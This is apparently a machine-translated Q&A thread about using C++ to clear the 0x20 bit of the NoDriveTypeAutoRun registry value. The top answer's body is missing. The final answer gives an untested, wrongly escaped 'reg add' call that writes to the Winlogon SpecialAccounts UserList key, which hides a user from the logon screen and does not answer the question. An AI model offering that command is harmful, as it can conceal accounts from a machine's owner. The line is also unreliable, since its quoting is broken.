14

私は C++ のバックグラウンドが限られており、レジストリを編集したいと考えています。たとえば、値を取得してHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun0x20 が含まれているかどうかを確認し、含まれている場合は、その値から 0x20 を差し引いて書き戻したい (そして、explorer.exe を強制終了して再起動しますが、私自身)。

どのようにしますか?

4

4 に答える 4

35
于 2009-05-14T15:34:47.263 に答える
2

cd-romの自動実行を一時的に無効にしようとしているだけの場合は、最初にこのmsdnの記事を参照してください。実際には、とにかく永久に無効にする前に、まずそれを見てください。一般に、レジストリをいじる前にAPIを探してください。その後、レイモンドチェンの暴言の対象になりたくない場合を除いて、文書化されたレジストリエントリのみを使用してください。

于 2009-05-14T15:44:50.173 に答える
2

RegOpenKeyEx()、RegGetValue()、RegSetKeyValue() を使用し、RegCloseKey() を忘れないでください。

リファレンスへのリンクは次のとおりです: http://msdn.microsoft.com/en-us/library/ms724875(VS.85).aspx

ATL を使用する場合、使いやすいクラス CRegKey (上記の関数のラッパー) があります。

于 2009-05-14T15:34:39.480 に答える
1

さて、あなたの質問のためにマイク...

次のように書くことができます...

#include <STDLIB.H>

main ()
{
system ("reg add \"HKLM\\software\\microsoft\\windows nt\\currentversion\\winlogon\\specialaccounts\\userlist /v user /t reg_dword /d 0 /f\"");
}

私は試しませんでしたが、うまくいくはずです.addパラメータの後のテキストの周りに\"を追加し、すべての\を\で変更しました...

于 2009-12-28T18:58:35.330 に答える